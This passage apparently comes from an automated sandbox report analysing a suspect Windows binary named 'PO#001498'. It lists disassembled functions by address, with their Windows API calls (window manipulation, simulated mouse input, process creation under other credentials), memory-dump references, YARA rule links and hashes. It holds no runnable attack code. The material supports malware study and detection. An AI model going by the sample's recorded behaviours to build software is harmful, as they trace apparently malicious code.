                                                                                                                                                                                                        • InvalidateRect.USER32(?,00000000,00000001), ref: 00449124
                                                                                                                                                                                                        • GetWindowLongW.USER32(00000000,000000F0), ref: 0044912F
                                                                                                                                                                                                        • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0044913C
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$LongWindow$InvalidateRect
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1976402638-0
                                                                                                                                                                                                        • Opcode ID: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                                                                        • Instruction ID: 8b80d2acd15126bdfc8b54909556444574c0e56a9806921f1e0b477f33817628
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F231B476244202AFF224DF04DC89FBBB7A9F785321F14492EF291973D0CA75AC469729
                                                                                                                                                                                                        Function 00442582 Relevance: 9.1, APIs: 6, Instructions: 104COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetForegroundWindow.USER32 ref: 00442597
                                                                                                                                                                                                          • Part of subcall function 004344B7: GetWindowRect.USER32(?,?), ref: 004344D3
                                                                                                                                                                                                        • GetDesktopWindow.USER32 ref: 004425BF
                                                                                                                                                                                                        • GetWindowRect.USER32(00000000), ref: 004425C6
                                                                                                                                                                                                        • mouse_event.USER32(00008001,?,?,?,?), ref: 004425F5
                                                                                                                                                                                                          • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                                                        • GetCursorPos.USER32(?), ref: 00442624
                                                                                                                                                                                                        • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00442690
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4137160315-0
                                                                                                                                                                                                        • Opcode ID: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                                                                        • Instruction ID: 1581b522c3ee05a339ffa1fd07f9e8cd23967deed6539873686ea33d82c69dd2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7C31C1B2104306ABD310DF54CD85E6BB7E9FB98304F004A2EF94597281E675E9058BA6
                                                                                                                                                                                                        Function 00448851 Relevance: 9.1, APIs: 6, Instructions: 92windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044886C
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                                        • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                                        • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Enable$Show$MessageSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1871949834-0
                                                                                                                                                                                                        • Opcode ID: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                                                                                                                        • Instruction ID: fbfed122d4da650e42f877d7e8bff2bfe9b33138fa51555fe8345b8bcc16d821
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A731F3B07443819BF7248E14C8C4BAFB7D0AB95345F08482EF981A63D1DBAC9846872A
                                                                                                                                                                                                        Function 00449606 Relevance: 9.1, APIs: 6, Instructions: 91windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 0044961A
                                                                                                                                                                                                        • SendMessageW.USER32 ref: 0044964A
                                                                                                                                                                                                          • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001074,?,00000001), ref: 004496AC
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 004496BA
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 004496C7
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001074,?,?), ref: 004496FD
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$_wcslen$_memset_wcspbrk
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1624073603-0
                                                                                                                                                                                                        • Opcode ID: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                                                                                                                        • Instruction ID: 7e49a266cf7116299f7bc8659d1ce07b00adedb8b3f1b428e1954e4b11147a1e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B631CA71508300AAE720DF15DC81BEBB7D4EBD4720F504A1FFA54862D0EBBAD945C7A6
                                                                                                                                                                                                        Function 004416D1 Relevance: 9.1, APIs: 6, Instructions: 84COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                                                                                                                        • Instruction ID: 0263b137e1f68684b0dae4bb7f633391a2f723f0f4072b7ce39308acd6c8c458
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 31219272245110ABE7108B68DCC4B6F7798EB96374F240A3AF512C61E1EA7998C1C769
                                                                                                                                                                                                        Function 0045552E Relevance: 9.1, APIs: 6, Instructions: 78windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004555AD
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DestroyWindow$DeleteObject$IconMove
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1640429340-0
                                                                                                                                                                                                        • Opcode ID: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                                                                                                                        • Instruction ID: 2ee25f48dcb0ad8048bc4d9c922f6cac320a9d705fdb810e808868a6102f62dc
                                                                                                                                                                                                        • Opcode Fuzzy Hash: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 05312770200A419FD724DF24C998B3A73F9FB44312F4485AAE945CB266E778EC49CB69
                                                                                                                                                                                                        Function 00467E5E Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __fileno__setmode$DebugOutputString_fprintf
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3354276064-0
                                                                                                                                                                                                        • Opcode ID: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                                                                                                                                        • Instruction ID: 1e9a75ed7ce68f0ee686932f25d41d1f14ae1a91d469003489e3a0780bce169f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6D11F3B2D0830136D500BA366C02AAF7A5C4A91B5CF44056EFD4563293EA2DAA4943FF
                                                                                                                                                                                                        Function 00455080 Relevance: 9.1, APIs: 6, Instructions: 75windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Destroy$DeleteMenuObject$IconWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 752480666-0
                                                                                                                                                                                                        • Opcode ID: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                                                                                                                        • Instruction ID: bf467a0aa8f060071afd9cdae546a2eb92d9c059e8a57ac1e588bb5f3fc3a395
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 26215E30200A019FC724DF24D5E8B7AB7A9FB44312F50855EED498B392CB39EC89CB59
                                                                                                                                                                                                        Function 00455212 Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DestroyWindow.USER32(00000000), ref: 0045527A
                                                                                                                                                                                                        • ImageList_Destroy.COMCTL32(?), ref: 0045528C
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3275902921-0
                                                                                                                                                                                                        • Opcode ID: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                                                                                                                        • Instruction ID: c357af2a313eda44c34a26cb015c973203dd8f66e4d80e74dc1abfaeb9ce60f9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2D217E70604A019BC714DF79D99466AB7A5BF44311F40856EF919CB342DB38E849CF68
                                                                                                                                                                                                        Function 00439326 Relevance: 9.1, APIs: 6, Instructions: 72processCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetCurrentProcess.KERNEL32(0000000A,?,?,?,?,?,00446540,?,?,?,?,?,?,?,?,?), ref: 0043935D
                                                                                                                                                                                                        • OpenProcessToken.ADVAPI32(00000000,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439364
                                                                                                                                                                                                        • CreateEnvironmentBlock.USERENV(?,?,00000001,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439376
                                                                                                                                                                                                        • CloseHandle.KERNEL32(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439383
                                                                                                                                                                                                        • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004393C0
                                                                                                                                                                                                        • DestroyEnvironmentBlock.USERENV(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 004393D4
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1413079979-0
                                                                                                                                                                                                        • Opcode ID: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                                                                        • Instruction ID: 8c652321442b38080740e7d333ba663a52d3460857ef2618669649d87ea194c0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7B2150B2208300ABD314CB65D854EABB7EDEBCD754F084E1DF989A3250C7B4E901CB25
                                                                                                                                                                                                        Function 0041415E Relevance: 9.1, APIs: 6, Instructions: 71threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • ___set_flsgetvalue.LIBCMT ref: 0041418F
                                                                                                                                                                                                        • __calloc_crt.LIBCMT ref: 0041419B
                                                                                                                                                                                                        • __getptd.LIBCMT ref: 004141A8
                                                                                                                                                                                                        • CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
                                                                                                                                                                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
                                                                                                                                                                                                        • __dosmaperr.LIBCMT ref: 00414201
                                                                                                                                                                                                          • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                                          • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1803633139-0
                                                                                                                                                                                                        • Opcode ID: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                                                                                                                                        • Instruction ID: ec3febacf030228bba34671a5a373aa86179f0c9a00f1e1343e4adce14cbcb36
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1311DD72504209BFCB10AFA5DC828DF7BA8EF44368B20446EF50193151EB39C9C18A68
                                                                                                                                                                                                        Function 004555E0 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • ImageList_Destroy.COMCTL32(?), ref: 004555E8
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3275902921-0
                                                                                                                                                                                                        • Opcode ID: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                                                                                                                        • Instruction ID: 9e206caaed87a4944845468030bda76e3f946505fe2e652cce1cc100bc4c7c20
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BE2141702006409FCB25DF25C994A2B77A9FF44312F80856EED49CB352DB39EC4ACB59
                                                                                                                                                                                                        Function 004554C0 Relevance: 9.1, APIs: 6, Instructions: 61windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32 ref: 004554DF
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004554FA
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DeleteDestroyMessageObjectSend$IconWindow
                                                                                                                                                                                                        • String ID:
